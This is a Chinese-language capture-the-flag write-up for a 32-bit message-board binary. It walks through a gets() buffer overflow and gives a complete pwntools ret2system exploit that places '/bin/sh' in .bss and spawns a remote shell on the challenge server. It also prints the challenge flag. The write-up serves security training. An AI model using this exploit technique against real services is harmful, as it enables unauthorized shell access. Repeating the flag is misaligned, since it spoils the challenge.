1.查看文件保护
32位,只开启了NX(数据不可执行)
kali中运行程序
一个留言板程序,用户可以输出名字和一条信息。
2.IDA静态分析
(1)main
(2)hello
第29行fgets接收用户输入到变量name中,双击跟进发现其在.bss段,地址为0804A080
函数末尾发现gets()函数,并且数组s与ebp的位移为0x26
,因此写0x26+4
个字节后即可覆盖返回地址
(3)查看字符串窗口
没有发现/bin/sh
字符串,但是左侧函数窗口中有system函数,地址为08048420
还找到一个pwn函数,执行系统命令输出字符串,由此得call __system地址为0804855A
因此构造一个/bin/sh
作为system执行的参数即可getshell
(4)思路整理
利用fgets函数溢出后返回地址修改成system()函数,内容用/bin/sh覆盖
EXP代码如下:
from pwn import *
p = remote('61.147.171.105', 63915)
payload=b'a'*(0x26+4)+p32(0x0804855A)+p32(0x0804A080)
# 或者是直接调system函数,而不是直接调call system
# payload=b'a'*42+p32(0x08048420)+p32(0)+p32(0x0804A080)
p.sendlineafter("name\n", '/bin/sh')
p.sendlineafter("here:\n",payload)
p.interactive()
运行EXP:
flag为:
cyberpeace{764fc890906d550f717c12e5a3eb1cdc}